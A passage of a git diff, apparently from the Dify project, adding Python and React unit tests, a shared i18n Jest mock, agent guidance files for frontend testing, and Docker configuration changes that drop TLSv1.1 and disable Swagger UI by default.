+    with pytest.raises(ValueError, match="Document not found"):
+        DocumentService.rename_document(dataset.id, "missing", "x")
+
+
+def test_rename_document_permission_denied_when_tenant_mismatch(mock_env):
+    dataset = make_dataset("dataset-123")
+    # different tenant than current_user.current_tenant_id
+    document = make_document(dataset_id=dataset.id, tenant_id="tenant-other")
+
+    mock_env["get_dataset"].return_value = dataset
+    mock_env["get_document"].return_value = document
+
+    with pytest.raises(ValueError, match="No permission"):
+        DocumentService.rename_document(dataset.id, document.id, "x")
diff --git a/api/tests/unit_tests/services/test_variable_truncator.py b/api/tests/unit_tests/services/test_variable_truncator.py
index cf6fb25c1c..ec819ae57a 100644
--- a/api/tests/unit_tests/services/test_variable_truncator.py
+++ b/api/tests/unit_tests/services/test_variable_truncator.py
@@ -518,6 +518,55 @@ class TestEdgeCases:
         assert isinstance(result.result, StringSegment)
 
 
+class TestTruncateJsonPrimitives:
+    """Test _truncate_json_primitives method with different data types."""
+
+    @pytest.fixture
+    def truncator(self):
+        return VariableTruncator()
+
+    def test_truncate_json_primitives_file_type(self, truncator, file):
+        """Test that File objects are handled correctly in _truncate_json_primitives."""
+        # Test File object is returned as-is without truncation
+        result = truncator._truncate_json_primitives(file, 1000)
+
+        assert result.value == file
+        assert result.truncated is False
+        # Size should be calculated correctly
+        expected_size = VariableTruncator.calculate_json_size(file)
+        assert result.value_size == expected_size
+
+    def test_truncate_json_primitives_file_type_small_budget(self, truncator, file):
+        """Test that File objects are returned as-is even with small budget."""
+        # Even with a small size budget, File objects should not be truncated
+        result = truncator._truncate_json_primitives(file, 10)
+
+        assert result.value == file
+        assert result.truncated is False
+
+    def test_truncate_json_primitives_file_type_in_array(self, truncator, file):
+        """Test File objects in arrays are handled correctly."""
+        array_with_files = [file, file]
+        result = truncator._truncate_json_primitives(array_with_files, 1000)
+
+        assert isinstance(result.value, list)
+        assert len(result.value) == 2
+        assert result.value[0] == file
+        assert result.value[1] == file
+        assert result.truncated is False
+
+    def test_truncate_json_primitives_file_type_in_object(self, truncator, file):
+        """Test File objects in objects are handled correctly."""
+        obj_with_files = {"file1": file, "file2": file}
+        result = truncator._truncate_json_primitives(obj_with_files, 1000)
+
+        assert isinstance(result.value, dict)
+        assert len(result.value) == 2
+        assert result.value["file1"] == file
+        assert result.value["file2"] == file
+        assert result.truncated is False
+
+
 class TestIntegrationScenarios:
     """Test realistic integration scenarios."""
 
diff --git a/api/tests/unit_tests/services/test_webhook_service.py b/api/tests/unit_tests/services/test_webhook_service.py
index 6afe52d97b..d788657589 100644
--- a/api/tests/unit_tests/services/test_webhook_service.py
+++ b/api/tests/unit_tests/services/test_webhook_service.py
@@ -82,19 +82,19 @@ class TestWebhookServiceUnit:
             "/webhook",
             method="POST",
             headers={"Content-Type": "multipart/form-data"},
-            data={"message": "test", "upload": file_storage},
+            data={"message": "test", "file": file_storage},
         ):
             webhook_trigger = MagicMock()
             webhook_trigger.tenant_id = "test_tenant"
 
             with patch.object(WebhookService, "_process_file_uploads") as mock_process_files:
-                mock_process_files.return_value = {"upload": "mocked_file_obj"}
+                mock_process_files.return_value = {"file": "mocked_file_obj"}
 
                 webhook_data = WebhookService.extract_webhook_data(webhook_trigger)
 
                 assert webhook_data["method"] == "POST"
                 assert webhook_data["body"]["message"] == "test"
-                assert webhook_data["files"]["upload"] == "mocked_file_obj"
+                assert webhook_data["files"]["file"] == "mocked_file_obj"
                 mock_process_files.assert_called_once()
 
     def test_extract_webhook_data_raw_text(self):
@@ -110,6 +110,70 @@ class TestWebhookServiceUnit:
             assert webhook_data["method"] == "POST"
             assert webhook_data["body"]["raw"] == "raw text content"
 
+    def test_extract_octet_stream_body_uses_detected_mime(self):
+        """Octet-stream uploads should rely on detected MIME type."""
+        app = Flask(__name__)
+        binary_content = b"plain text data"
+
+        with app.test_request_context(
+            "/webhook", method="POST", headers={"Content-Type": "application/octet-stream"}, data=binary_content
+        ):
+            webhook_trigger = MagicMock()
+            mock_file = MagicMock()
+            mock_file.to_dict.return_value = {"file": "data"}
+
+            with (
+                patch.object(WebhookService, "_detect_binary_mimetype", return_value="text/plain") as mock_detect,
+                patch.object(WebhookService, "_create_file_from_binary") as mock_create,
+            ):
+                mock_create.return_value = mock_file
+                body, files = WebhookService._extract_octet_stream_body(webhook_trigger)
+
+            assert body["raw"] == {"file": "data"}
+            assert files == {}
+            mock_detect.assert_called_once_with(binary_content)
+            mock_create.assert_called_once()
+            args = mock_create.call_args[0]
+            assert args[0] == binary_content
+            assert args[1] == "text/plain"
+            assert args[2] is webhook_trigger
+
+    def test_detect_binary_mimetype_uses_magic(self, monkeypatch):
+        """python-magic output should be used when available."""
+        fake_magic = MagicMock()
+        fake_magic.from_buffer.return_value = "image/png"
+        monkeypatch.setattr("services.trigger.webhook_service.magic", fake_magic)
+
+        result = WebhookService._detect_binary_mimetype(b"binary data")
+
+        assert result == "image/png"
+        fake_magic.from_buffer.assert_called_once()
+
+    def test_detect_binary_mimetype_fallback_without_magic(self, monkeypatch):
+        """Fallback MIME type should be used when python-magic is unavailable."""
+        monkeypatch.setattr("services.trigger.webhook_service.magic", None)
+
+        result = WebhookService._detect_binary_mimetype(b"binary data")
+
+        assert result == "application/octet-stream"
+
+    def test_detect_binary_mimetype_handles_magic_exception(self, monkeypatch):
+        """Fallback MIME type should be used when python-magic raises an exception."""
+        try:
+            import magic as real_magic
+        except ImportError:
+            pytest.skip("python-magic is not installed")
+
+        fake_magic = MagicMock()
+        fake_magic.from_buffer.side_effect = real_magic.MagicException("magic error")
+        monkeypatch.setattr("services.trigger.webhook_service.magic", fake_magic)
+
+        with patch("services.trigger.webhook_service.logger") as mock_logger:
+            result = WebhookService._detect_binary_mimetype(b"binary data")
+
+            assert result == "application/octet-stream"
+            mock_logger.debug.assert_called_once()
+
     def test_extract_webhook_data_invalid_json(self):
         """Test webhook data extraction with invalid JSON."""
         app = Flask(__name__)
diff --git a/docker/.env.example b/docker/.env.example
index 8071c78d2e..3affa5b6b8 100644
--- a/docker/.env.example
+++ b/docker/.env.example
@@ -1229,7 +1229,7 @@ NGINX_SSL_PORT=443
 # and modify the env vars below accordingly.
 NGINX_SSL_CERT_FILENAME=dify.crt
 NGINX_SSL_CERT_KEY_FILENAME=dify.key
-NGINX_SSL_PROTOCOLS=TLSv1.1 TLSv1.2 TLSv1.3
+NGINX_SSL_PROTOCOLS=TLSv1.2 TLSv1.3
 
 # Nginx performance tuning
 NGINX_WORKER_PROCESSES=auto
@@ -1421,7 +1421,7 @@ QUEUE_MONITOR_ALERT_EMAILS=
 QUEUE_MONITOR_INTERVAL=30
 
 # Swagger UI configuration
-SWAGGER_UI_ENABLED=true
+SWAGGER_UI_ENABLED=false
 SWAGGER_UI_PATH=/swagger-ui.html
 
 # Whether to encrypt dataset IDs when exporting DSL files (default: true)
@@ -1461,4 +1461,4 @@ ANNOTATION_IMPORT_RATE_LIMIT_PER_HOUR=20
 ANNOTATION_IMPORT_MAX_CONCURRENT=5
 
 # The API key of amplitude
-AMPLITUDE_API_KEY=
+AMPLITUDE_API_KEY=
\ No newline at end of file
diff --git a/docker/docker-compose-template.yaml b/docker/docker-compose-template.yaml
index 6ba3409288..4f6194b9e4 100644
--- a/docker/docker-compose-template.yaml
+++ b/docker/docker-compose-template.yaml
@@ -414,7 +414,7 @@ services:
       # and modify the env vars below in .env if HTTPS_ENABLED is true.
       NGINX_SSL_CERT_FILENAME: ${NGINX_SSL_CERT_FILENAME:-dify.crt}
       NGINX_SSL_CERT_KEY_FILENAME: ${NGINX_SSL_CERT_KEY_FILENAME:-dify.key}
-      NGINX_SSL_PROTOCOLS: ${NGINX_SSL_PROTOCOLS:-TLSv1.1 TLSv1.2 TLSv1.3}
+      NGINX_SSL_PROTOCOLS: ${NGINX_SSL_PROTOCOLS:-TLSv1.2 TLSv1.3}
       NGINX_WORKER_PROCESSES: ${NGINX_WORKER_PROCESSES:-auto}
       NGINX_CLIENT_MAX_BODY_SIZE: ${NGINX_CLIENT_MAX_BODY_SIZE:-100M}
       NGINX_KEEPALIVE_TIMEOUT: ${NGINX_KEEPALIVE_TIMEOUT:-65}
diff --git a/docker/docker-compose.yaml b/docker/docker-compose.yaml
index f1dabfe055..3e31b2e1c8 100644
--- a/docker/docker-compose.yaml
+++ b/docker/docker-compose.yaml
@@ -528,7 +528,7 @@ x-shared-env: &shared-api-worker-env
   NGINX_SSL_PORT: ${NGINX_SSL_PORT:-443}
   NGINX_SSL_CERT_FILENAME: ${NGINX_SSL_CERT_FILENAME:-dify.crt}
   NGINX_SSL_CERT_KEY_FILENAME: ${NGINX_SSL_CERT_KEY_FILENAME:-dify.key}
-  NGINX_SSL_PROTOCOLS: ${NGINX_SSL_PROTOCOLS:-TLSv1.1 TLSv1.2 TLSv1.3}
+  NGINX_SSL_PROTOCOLS: ${NGINX_SSL_PROTOCOLS:-TLSv1.2 TLSv1.3}
   NGINX_WORKER_PROCESSES: ${NGINX_WORKER_PROCESSES:-auto}
   NGINX_CLIENT_MAX_BODY_SIZE: ${NGINX_CLIENT_MAX_BODY_SIZE:-100M}
   NGINX_KEEPALIVE_TIMEOUT: ${NGINX_KEEPALIVE_TIMEOUT:-65}
@@ -631,7 +631,7 @@ x-shared-env: &shared-api-worker-env
   QUEUE_MONITOR_THRESHOLD: ${QUEUE_MONITOR_THRESHOLD:-200}
   QUEUE_MONITOR_ALERT_EMAILS: ${QUEUE_MONITOR_ALERT_EMAILS:-}
   QUEUE_MONITOR_INTERVAL: ${QUEUE_MONITOR_INTERVAL:-30}
-  SWAGGER_UI_ENABLED: ${SWAGGER_UI_ENABLED:-true}
+  SWAGGER_UI_ENABLED: ${SWAGGER_UI_ENABLED:-false}
   SWAGGER_UI_PATH: ${SWAGGER_UI_PATH:-/swagger-ui.html}
   DSL_EXPORT_ENCRYPT_DATASET_ID: ${DSL_EXPORT_ENCRYPT_DATASET_ID:-true}
   DATASET_MAX_SEGMENTS_PER_REQUEST: ${DATASET_MAX_SEGMENTS_PER_REQUEST:-0}
@@ -1072,7 +1072,7 @@ services:
       # and modify the env vars below in .env if HTTPS_ENABLED is true.
       NGINX_SSL_CERT_FILENAME: ${NGINX_SSL_CERT_FILENAME:-dify.crt}
       NGINX_SSL_CERT_KEY_FILENAME: ${NGINX_SSL_CERT_KEY_FILENAME:-dify.key}
-      NGINX_SSL_PROTOCOLS: ${NGINX_SSL_PROTOCOLS:-TLSv1.1 TLSv1.2 TLSv1.3}
+      NGINX_SSL_PROTOCOLS: ${NGINX_SSL_PROTOCOLS:-TLSv1.2 TLSv1.3}
       NGINX_WORKER_PROCESSES: ${NGINX_WORKER_PROCESSES:-auto}
       NGINX_CLIENT_MAX_BODY_SIZE: ${NGINX_CLIENT_MAX_BODY_SIZE:-100M}
       NGINX_KEEPALIVE_TIMEOUT: ${NGINX_KEEPALIVE_TIMEOUT:-65}
diff --git a/web/AGENTS.md b/web/AGENTS.md
index 70e251b738..7362cd51db 100644
--- a/web/AGENTS.md
+++ b/web/AGENTS.md
@@ -2,3 +2,4 @@
 
 - Use `web/testing/testing.md` as the canonical instruction set for generating frontend automated tests.
 - When proposing or saving tests, re-read that document and follow every requirement.
+- All frontend tests MUST also comply with the `frontend-testing` skill. Treat the skill as a mandatory constraint, not optional guidance.
diff --git a/web/CLAUDE.md b/web/CLAUDE.md
new file mode 120000
index 0000000000..47dc3e3d86
--- /dev/null
+++ b/web/CLAUDE.md
@@ -0,0 +1 @@
+AGENTS.md
\ No newline at end of file
diff --git a/web/__mocks__/react-i18next.ts b/web/__mocks__/react-i18next.ts
new file mode 100644
index 0000000000..1e3f58927e
--- /dev/null
+++ b/web/__mocks__/react-i18next.ts
@@ -0,0 +1,40 @@
+/**
+ * Shared mock for react-i18next
+ *
+ * Jest automatically uses this mock when react-i18next is imported in tests.
+ * The default behavior returns the translation key as-is, which is suitable
+ * for most test scenarios.
+ *
+ * For tests that need custom translations, you can override with jest.mock():
+ *
+ * @example
+ * jest.mock('react-i18next', () => ({
+ *   useTranslation: () => ({
+ *     t: (key: string) => {
+ *       if (key === 'some.key') return 'Custom translation'
+ *       return key
+ *     },
+ *   }),
+ * }))
+ */
+
+export const useTranslation = () => ({
+  t: (key: string, options?: Record<string, unknown>) => {
+    if (options?.returnObjects)
+      return [`${key}-feature-1`, `${key}-feature-2`]
+    if (options)
+      return `${key}:${JSON.stringify(options)}`
+    return key
+  },
+  i18n: {
+    language: 'en',
+    changeLanguage: jest.fn(),
+  },
+})
+
+export const Trans = ({ children }: { children?: React.ReactNode }) => children
+
+export const initReactI18next = {
+  type: '3rdParty',
+  init: jest.fn(),
+}
diff --git a/web/__tests__/embedded-user-id-auth.test.tsx b/web/__tests__/embedded-user-id-auth.test.tsx
index 5c3c3c943f..9d6734b120 100644
--- a/web/__tests__/embedded-user-id-auth.test.tsx
+++ b/web/__tests__/embedded-user-id-auth.test.tsx
@@ -4,12 +4,6 @@ import { fireEvent, render, screen, waitFor } from '@testing-library/react'
 import MailAndPasswordAuth from '@/app/(shareLayout)/webapp-signin/components/mail-and-password-auth'
 import CheckCode from '@/app/(shareLayout)/webapp-signin/check-code/page'
 
-jest.mock('react-i18next', () => ({
-  useTranslation: () => ({
-    t: (key: string) => key,
-  }),
-}))
-
 const replaceMock = jest.fn()
 const backMock = jest.fn()
 
diff --git a/web/__tests__/goto-anything/command-selector.test.tsx b/web/__tests__/goto-anything/command-selector.test.tsx
index 6d4e045d49..e502c533bb 100644
--- a/web/__tests__/goto-anything/command-selector.test.tsx
+++ b/web/__tests__/goto-anything/command-selector.test.tsx
@@ -4,12 +4,6 @@ import '@testing-library/jest-dom'
 import CommandSelector from '../../app/components/goto-anything/command-selector'
 import type { ActionItem } from '../../app/components/goto-anything/actions/types'
 
-jest.mock('react-i18next', () => ({
-  useTranslation: () => ({
-    t: (key: string) => key,
-  }),
-}))
-
 jest.mock('cmdk', () => ({
   Command: {
     Group: ({ children, className }: any) => <div className={className}>{children}</div>,
diff --git a/web/app/(commonLayout)/app/(appDetailLayout)/[appId]/overview/tracing/__tests__/svg-attribute-error-reproduction.spec.tsx b/web/app/(commonLayout)/app/(appDetailLayout)/[appId]/overview/tracing/__tests__/svg-attribute-error-reproduction.spec.tsx
index b1e915b2bf..374dbff203 100644
--- a/web/app/(commonLayout)/app/(appDetailLayout)/[appId]/overview/tracing/__tests__/svg-attribute-error-reproduction.spec.tsx
+++ b/web/app/(commonLayout)/app/(appDetailLayout)/[appId]/overview/tracing/__tests__/svg-attribute-error-reproduction.spec.tsx
@@ -3,13 +3,6 @@ import { render } from '@testing-library/react'
 import '@testing-library/jest-dom'
 import { OpikIconBig } from '@/app/components/base/icons/src/public/tracing'
 
-// Mock dependencies to isolate the SVG rendering issue
-jest.mock('react-i18next', () => ({
-  useTranslation: () => ({
-    t: (key: string) => key,
-  }),
-}))
-
 describe('SVG Attribute Error Reproduction', () => {
   // Capture console errors
   const originalError = console.error
diff --git a/web/app/components/app/annotation/batch-add-annotation-modal/csv-uploader.spec.tsx b/web/app/components/app/annotation/batch-add-annotation-modal/csv-uploader.spec.tsx
index 91e1e9d8fe..d94295c31c 100644
--- a/web/app/components/app/annotation/batch-add-annotation-modal/csv-uploader.spec.tsx
+++ b/web/app/components/app/annotation/batch-add-annotation-modal/csv-uploader.spec.tsx
@@ -3,12 +3,6 @@ import { fireEvent, render, screen, waitFor } from '@testing-library/react'
 import CSVUploader, { type Props } from './csv-uploader'
 import { ToastContext } from '@/app/components/base/toast'
 
-jest.mock('react-i18next', () => ({
-  useTranslation: () => ({
-    t: (key: string) => key,
-  }),
-}))
-
 describe('CSVUploader', () => {
   const notify = jest.fn()
   const updateFile = jest.fn()
diff --git a/web/app/components/app/annotation/edit-annotation-modal/edit-item/index.spec.tsx b/web/app/components/app/annotation/edit-annotation-modal/edit-item/index.spec.tsx
new file mode 100644
index 0000000000..1f32e55928
--- /dev/null
+++ b/web/app/components/app/annotation/edit-annotation-modal/edit-item/index.spec.tsx
@@ -0,0 +1,397 @@
+import { render, screen } from '@testing-library/react'
+import userEvent from '@testing-library/user-event'
+import EditItem, { EditItemType, EditTitle } from './index'
+
+describe('EditTitle', () => {
+  it('should render title content correctly', () => {
+    // Arrange
+    const props = { title: 'Test Title' }
+
+    // Act
+    render(<EditTitle {...props} />)
+
+    // Assert
+    expect(screen.getByText(/test title/i)).toBeInTheDocument()
+    // Should contain edit icon (svg element)
+    expect(document.querySelector('svg')).toBeInTheDocument()
+  })
+
+  it('should apply custom className when provided', () => {
+    // Arrange
+    const props = {
+      title: 'Test Title',
+      className: 'custom-class',
+    }
+
+    // Act
+    const { container } = render(<EditTitle {...props} />)
+
+    // Assert
+    expect(screen.getByText(/test title/i)).toBeInTheDocument()
+    expect(container.querySelector('.custom-class')).toBeInTheDocument()
+  })
+})
+
+describe('EditItem', () => {
+  const defaultProps = {
+    type: EditItemType.Query,
+    content: 'Test content',
+    onSave: jest.fn(),
+  }
+
+  beforeEach(() => {
+    jest.clearAllMocks()
+  })
+
+  // Rendering tests (REQUIRED)
+  describe('Rendering', () => {
+    it('should render content correctly', () => {
+      // Arrange
+      const props = { ...defaultProps }
+
+      // Act
+      render(<EditItem {...props} />)
+
+      // Assert
+      expect(screen.getByText(/test content/i)).toBeInTheDocument()
+      // Should show item name (query or answer)
+      expect(screen.getByText('appAnnotation.editModal.queryName')).toBeInTheDocument()
+    })
+
+    it('should render different item types correctly', () => {
+      // Arrange
+      const props = {
+        ...defaultProps,
+        type: EditItemType.Answer,
+        content: 'Answer content',
+      }
+
+      // Act
+      render(<EditItem {...props} />)
+
+      // Assert
+      expect(screen.getByText(/answer content/i)).toBeInTheDocument()
+      expect(screen.getByText('appAnnotation.editModal.answerName')).toBeInTheDocument()
+    })
+
+    it('should show edit controls when not readonly', () => {
+      // Arrange
+      const props = { ...defaultProps }
+
+      // Act
+      render(<EditItem {...props} />)
+
+      // Assert
+      expect(screen.getByText('common.operation.edit')).toBeInTheDocument()
+    })
+
+    it('should hide edit controls when readonly', () => {
+      // Arrange
+      const props = {
+        ...defaultProps,
+        readonly: true,
+      }
+
+      // Act
+      render(<EditItem {...props} />)
+
+      // Assert
+      expect(screen.queryByText('common.operation.edit')).not.toBeInTheDocument()
+    })
+  })
+
+  // Props tests (REQUIRED)
+  describe('Props', () => {
+    it('should respect readonly prop for edit functionality', () => {
+      // Arrange
+      const props = {
+        ...defaultProps,
+        readonly: true,
+      }
+
+      // Act
+      render(<EditItem {...props} />)
+
+      // Assert
+      expect(screen.getByText(/test content/i)).toBeInTheDocument()
+      expect(screen.queryByText('common.operation.edit')).not.toBeInTheDocument()
+    })
+
+    it('should display provided content', () => {
+      // Arrange
+      const props = {
+        ...defaultProps,
+        content: 'Custom content for testing',
+      }
+
+      // Act
+      render(<EditItem {...props} />)
+
+      // Assert
+      expect(screen.getByText(/custom content for testing/i)).toBeInTheDocument()
+    })
+
+    it('should render appropriate content based on type', () => {
+      // Arrange
+      const props = {
+        ...defaultProps,
+        type: EditItemType.Query,
+        content: 'Question content',
+      }
+
+      // Act
+      render(<EditItem {...props} />)
+
+      // Assert
+      expect(screen.getByText(/question content/i)).toBeInTheDocument()
+      expect(screen.getByText('appAnnotation.editModal.queryName')).toBeInTheDocument()
+    })
+  })
+
+  // User Interactions
+  describe('User Interactions', () => {
+    it('should activate edit mode when edit button is clicked', async () => {
+      // Arrange
+      const props = { ...defaultProps }
+      const user = userEvent.setup()
+
+      // Act
+      render(<EditItem {...props} />)
+      await user.click(screen.getByText('common.operation.edit'))
+
+      // Assert
+      expect(screen.getByRole('textbox')).toBeInTheDocument()
+      expect(screen.getByRole('button', { name: 'common.operation.save' })).toBeInTheDocument()
+      expect(screen.getByRole('button', { name: 'common.operation.cancel' })).toBeInTheDocument()
+    })
+
+    it('should save new content when save button is clicked', async () => {
+      // Arrange
+      const mockSave = jest.fn().mockResolvedValue(undefined)
+      const props = {
+        ...defaultProps,
+        onSave: mockSave,
+      }
+      const user = userEvent.setup()
+
+      // Act
+      render(<EditItem {...props} />)
+      await user.click(screen.getByText('common.operation.edit'))
+
+      // Type new content
+      const textarea = screen.getByRole('textbox')
+      await user.clear(textarea)
+      await user.type(textarea, 'Updated content')
+
+      // Save
+      await user.click(screen.getByRole('button', { name: 'common.operation.save' }))
+
+      // Assert
+      expect(mockSave).toHaveBeenCalledWith('Updated content')
+    })
+
+    it('should exit edit mode when cancel button is clicked', async () => {
+      // Arrange
+      const props = { ...defaultProps }
+      const user = userEvent.setup()
+
+      // Act
+      render(<EditItem {...props} />)
+      await user.click(screen.getByText('common.operation.edit'))
+      await user.click(screen.getByRole('button', { name: 'common.operation.cancel' }))
+
+      // Assert
+      expect(screen.queryByRole('textbox')).not.toBeInTheDocument()
+      expect(screen.getByText(/test content/i)).toBeInTheDocument()
+    })
+
+    it('should show content preview while typing', async () => {
+      // Arrange
+      const props = { ...defaultProps }
+      const user = userEvent.setup()
+
+      // Act
+      render(<EditItem {...props} />)
+      await user.click(screen.getByText('common.operation.edit'))
+
+      const textarea = screen.getByRole('textbox')
+      await user.type(textarea, 'New content')
+
+      // Assert
+      expect(screen.getByText(/new content/i)).toBeInTheDocument()
+    })
+
+    it('should call onSave with correct content when saving', async () => {
+      // Arrange
+      const mockSave = jest.fn().mockResolvedValue(undefined)
+      const props = {
+        ...defaultProps,
+        onSave: mockSave,
+      }
+      const user = userEvent.setup()
+
+      // Act
+      render(<EditItem {...props} />)
+      await user.click(screen.getByText('common.operation.edit'))
+
+      const textarea = screen.getByRole('textbox')
+      await user.clear(textarea)
+      await user.type(textarea, 'Test save content')
+
+      // Save
+      await user.click(screen.getByRole('button', { name: 'common.operation.save' }))
+
+      // Assert
+      expect(mockSave).toHaveBeenCalledWith('Test save content')
+    })
+
+    it('should show delete option when content changes', async () => {
+      // Arrange
+      const mockSave = jest.fn().mockResolvedValue(undefined)
+      const props = {
+        ...defaultProps,
+        onSave: mockSave,
+      }
+      const user = userEvent.setup()
+
+      // Act
+      render(<EditItem {...props} />)
+
+      // Enter edit mode and change content
+      await user.click(screen.getByText('common.operation.edit'))
+      const textarea = screen.getByRole('textbox')
+      await user.clear(textarea)
+      await user.type(textarea, 'Modified content')
+
+      // Save to trigger content change
+      await user.click(screen.getByRole('button', { name: 'common.operation.save' }))
+
+      // Assert
+      expect(mockSave).toHaveBeenCalledWith('Modified content')
+    })
+
+    it('should handle keyboard interactions in edit mode', async () => {
+      // Arrange
+      const props = { ...defaultProps }
+      const user = userEvent.setup()
+
+      // Act
+      render(<EditItem {...props} />)
+      await user.click(screen.getByText('common.operation.edit'))
+
+      const textarea = screen.getByRole('textbox')
+
+      // Test typing
+      await user.type(textarea, 'Keyboard test')
+
+      // Assert
+      expect(textarea).toHaveValue('Keyboard test')
+      expect(screen.getByText(/keyboard test/i)).toBeInTheDocument()
+    })
+  })
+
+  // State Management
+  describe('State Management', () => {
+    it('should reset newContent when content prop changes', async () => {
+      // Arrange
+      const { rerender } = render(<EditItem {...defaultProps} />)
+
+      // Act - Enter edit mode and type something
+      const user = userEvent.setup()
+      await user.click(screen.getByText('common.operation.edit'))
+      const textarea = screen.getByRole('textbox')
+      await user.clear(textarea)
+      await user.type(textarea, 'New content')
+
+      // Rerender with new content prop
+      rerender(<EditItem {...defaultProps} content="Updated content" />)
+
+      // Assert - Textarea value should be reset due to useEffect
+      expect(textarea).toHaveValue('')
+    })
+
+    it('should preserve edit state across content changes', async () => {
+      // Arrange
+      const { rerender } = render(<EditItem {...defaultProps} />)
+      const user = userEvent.setup()
+
+      // Act - Enter edit mode
+      await user.click(screen.getByText('common.operation.edit'))
+
+      // Rerender with new content
+      rerender(<EditItem {...defaultProps} content="Updated content" />)
+
+      // Assert - Should still be in edit mode
+      expect(screen.getByRole('textbox')).toBeInTheDocument()
+    })
+  })
+
+  // Edge Cases (REQUIRED)
+  describe('Edge Cases', () => {
+    it('should handle empty content', () => {
+      // Arrange
+      const props = {
+        ...defaultProps,
+        content: '',
+      }
+
+      // Act
+      const { container } = render(<EditItem {...props} />)
+
+      // Assert - Should render without crashing
+      // Check that the component renders properly with empty content
+      expect(container.querySelector('.grow')).toBeInTheDocument()
+      // Should still show edit button
+      expect(screen.getByText('common.operation.edit')).toBeInTheDocument()
+    })
+
+    it('should handle very long content', () => {
+      // Arrange
+      const longContent = 'A'.repeat(1000)
+      const props = {
+        ...defaultProps,
+        content: longContent,
+      }
+
+      // Act
+      render(<EditItem {...props} />)
+
+      // Assert
+      expect(screen.getByText(longContent)).toBeInTheDocument()
+    })
+
+    it('should handle content with special characters', () => {
+      // Arrange
+      const specialContent = 'Content with & < > " \' characters'
+      const props = {
+        ...defaultProps,
+        content: specialContent,
+      }
+
+      // Act
+      render(<EditItem {...props} />)
+
+      // Assert
+      expect(screen.getByText(specialContent)).toBeInTheDocument()
+    })
+
+    it('should handle rapid edit/cancel operations', async () => {
+      // Arrange
+      const props = { ...defaultProps }
+      const user = userEvent.setup()
+
+      // Act
+      render(<EditItem {...props} />)
+
+      // Rapid edit/cancel operations
+      await user.click(screen.getByText('common.operation.edit'))
+      await user.click(screen.getByText('common.operation.cancel'))
+      await user.click(screen.getByText('common.operation.edit'))
+      await user.click(screen.getByText('common.operation.cancel'))
+
+      // Assert
+      expect(screen.queryByRole('textbox')).not.toBeInTheDocument()
+      expect(screen.getByText('Test content')).toBeInTheDocument()
+    })
+  })
+})
diff --git a/web/app/components/app/annotation/edit-annotation-modal/index.spec.tsx b/web/app/components/app/annotation/edit-annotation-modal/index.spec.tsx
new file mode 100644
index 0000000000..a2e2527605
--- /dev/null
+++ b/web/app/components/app/annotation/edit-annotation-modal/index.spec.tsx
@@ -0,0 +1,408 @@
+import { render, screen } from '@testing-library/react'
+import userEvent from '@testing-library/user-event'
+import Toast, { type IToastProps, type ToastHandle } from '@/app/components/base/toast'
+import EditAnnotationModal from './index'
+
+// Mock only external dependencies
+jest.mock('@/service/annotation', () => ({
+  addAnnotation: jest.fn(),
+  editAnnotation: jest.fn(),
+}))
+
+jest.mock('@/context/provider-context', () => ({
+  useProviderContext: () => ({
+    plan: {
+      usage: { annotatedResponse: 5 },
+      total: { annotatedResponse: 10 },
+    },
+    enableBilling: true,
+  }),
+}))
+
+jest.mock('@/hooks/use-timestamp', () => ({
+  __esModule: true,
+  default: () => ({
+    formatTime: () => '2023-12-01 10:30:00',
+  }),
+}))
+
+// Note: i18n is automatically mocked by Jest via __mocks__/react-i18next.ts
+
+jest.mock('@/app/components/billing/annotation-full', () => ({
+  __esModule: true,
+  default: () => <div data-testid="annotation-full" />,
+}))
+
+type ToastNotifyProps = Pick<IToastProps, 'type' | 'size' | 'message' | 'duration' | 'className' | 'customComponent' | 'onClose'>
+type ToastWithNotify = typeof Toast & { notify: (props: ToastNotifyProps) => ToastHandle }
+const toastWithNotify = Toast as unknown as ToastWithNotify
+const toastNotifySpy = jest.spyOn(toastWithNotify, 'notify').mockReturnValue({ clear: jest.fn() })
+
+const { addAnnotation: mockAddAnnotation, editAnnotation: mockEditAnnotation } = jest.requireMock('@/service/annotation') as {
+  addAnnotation: jest.Mock
+  editAnnotation: jest.Mock
+}
+
+describe('EditAnnotationModal', () => {
+  const defaultProps = {
+    isShow: true,
+    onHide: jest.fn(),
+    appId: 'test-app-id',
+    query: 'Test query',
+    answer: 'Test answer',
+    onEdited: jest.fn(),
+    onAdded: jest.fn(),
+    onRemove: jest.fn(),
+  }
+
+  afterAll(() => {
+    toastNotifySpy.mockRestore()
+  })
+
+  beforeEach(() => {
+    jest.clearAllMocks()
+    mockAddAnnotation.mockResolvedValue({
+      id: 'test-id',
+      account: { name: 'Test User' },
+    })
+    mockEditAnnotation.mockResolvedValue({})
+  })
+
+  // Rendering tests (REQUIRED)
+  describe('Rendering', () => {
+    it('should render modal when isShow is true', () => {
+      // Arrange
+      const props = { ...defaultProps }
+
+      // Act
+      render(<EditAnnotationModal {...props} />)
+
+      // Assert - Check for modal title as it appears in the mock
+      expect(screen.getByText('appAnnotation.editModal.title')).toBeInTheDocument()
+    })
+
+    it('should not render modal when isShow is false', () => {
+      // Arrange
+      const props = { ...defaultProps, isShow: false }
+
+      // Act
+      render(<EditAnnotationModal {...props} />)
+
+      // Assert
+      expect(screen.queryByText('appAnnotation.editModal.title')).not.toBeInTheDocument()
+    })
+
+    it('should display query and answer sections', () => {
+      // Arrange
+      const props = { ...defaultProps }
+
+      // Act
+      render(<EditAnnotationModal {...props} />)
+
+      // Assert - Look for query and answer content
+      expect(screen.getByText('Test query')).toBeInTheDocument()
+      expect(screen.getByText('Test answer')).toBeInTheDocument()
+    })
+  })
+
+  // Props tests (REQUIRED)
+  describe('Props', () => {
+    it('should handle different query and answer content', () => {
+      // Arrange
+      const props = {
+        ...defaultProps,
+        query: 'Custom query content',
+        answer: 'Custom answer content',
+      }
+
+      // Act
+      render(<EditAnnotationModal {...props} />)
+
+      // Assert - Check content is displayed
+      expect(screen.getByText('Custom query content')).toBeInTheDocument()
+      expect(screen.getByText('Custom answer content')).toBeInTheDocument()
+    })
+
+    it('should show remove option when annotationId is provided', () => {
+      // Arrange
+      const props = {
+        ...defaultProps,
+        annotationId: 'test-annotation-id',
+      }
+
+      // Act
+      render(<EditAnnotationModal {...props} />)
+
+      // Assert - Remove option should be present (using pattern)
+      expect(screen.getByText('appAnnotation.editModal.removeThisCache')).toBeInTheDocument()
+    })
+  })
+
+  // User Interactions
+  describe('User Interactions', () => {
+    it('should enable editing for query and answer sections', () => {
+      // Arrange
+      const props = { ...defaultProps }
+
+      // Act
+      render(<EditAnnotationModal {...props} />)
+
+      // Assert - Edit links should be visible (using text content)
+      const editLinks = screen.getAllByText(/common\.operation\.edit/i)
+      expect(editLinks).toHaveLength(2)
+    })
+
